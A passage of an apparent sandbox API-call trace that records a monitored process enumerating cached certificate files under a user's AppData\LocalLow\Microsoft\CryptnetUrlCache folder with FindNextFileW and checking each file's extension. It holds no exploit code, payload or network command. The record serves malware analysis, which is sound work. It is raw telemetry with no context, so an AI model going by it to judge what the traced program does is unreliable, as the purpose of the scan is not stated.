(in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x67c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0121.462] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D") returned="" [0121.462] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6") returned="" [0121.463] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD", cAlternateFileName="7D266D~1")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\7D266D9E1E69FA1EEFB9699B009B34C8_1D5A876A9113EC07224C45E5A870E3BD") returned="" [0121.463] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6056b480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6056b480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x1ef687a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0", cAlternateFileName="8059E9~3")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_234CB5D64705D4DBB4DA839716359AF0") returned="" [0121.463] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61210960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61210960, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaecc9960, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E", cAlternateFileName="80273C~1")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_294110D6990EE392327F8A606D55BC1E") returned="" [0121.463] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58e24200, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58e24200, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9f5f40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1", cAlternateFileName="8059E9~2")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_50167909FCFE0C66153F1901439CBBA1") returned="" [0121.463] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61236ac0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61236ac0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x3b0b01a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E", cAlternateFileName="809279~1")) returned 1 [0121.463] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_581C904DB5924E46A6C1A8637614A40E") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x58394060, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x58394060, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f739c0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4", cAlternateFileName="8059E9~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_5EA65844B9EF5670A9C002CBD85B10A4") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x62378a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x62378a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae9a9c80, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778", cAlternateFileName="80E4BE~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_74E943F7DAB6D19E37E4854057155778") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x613675c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x613675c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69bba4a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED", cAlternateFileName="803B9E~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_C080DA2AE431C1A7F3B0C147EEB043ED") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x63c50fe0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x63c50fe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb100bf40, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E", cAlternateFileName="803D37~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_E907D7A04657714B5B06D18BC920971E") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x61021780, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x61021780, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb1058200, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30", cAlternateFileName="8059E9~4")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F2318F7AB33980A131A265454C39CA30") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x636a9ba0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x636a9ba0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb139e040, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1cf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB", cAlternateFileName="800D31~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8059E9A0D314877E40FE93D8CCFB3C69_F6E15778DC8E326895C606FBFA0392EB") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x581f7ea0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x581f7ea0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f4d860, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56", cAlternateFileName="828298~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\828298824EA5549947C17DDABF6871F5_0206EFBC540300C3BF0163CDBC3D7D56") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xec3c5340, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec3c5340, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xb16257a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F", cAlternateFileName="8828F3~1")) returned 1 [0121.464] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_3DF94EB797096674F7793A562A778C5F") returned="" [0121.464] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x8064ac00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x8064ac00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80670d60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416", cAlternateFileName="8828F3~2")) returned 1 [0121.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8828F39C7C0CE9A14B25C7EB321181BA_C6EF73E4482B2588B1252D1A64B99416") returned="" [0121.465] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6aa2c0a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6aa2c0a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xadf19ae0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x59d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61", cAlternateFileName="8E4E51~1")) returned 1 [0121.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\8E4E510F44A56B8C8ECFEC352907C373_411140098D71F028134E9B8A21255C61") returned="" [0121.465] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbddd270, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0xd2da, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="94308059B57B3142E455B38A6EB92015", cAlternateFileName="943080~1")) returned 1 [0121.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015") returned="" [0121.465] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6a83cec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a83cec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaebe5120, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0121.465] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9") returned="" [0121.465] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ab, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0121.466] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0121.466] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0121.467] FindNextFileW (in: hFindFile=0x6183848, lpFindFileData=0x6a5fba4 | out: lpFindFileData=0x6a5fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0121.467] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS 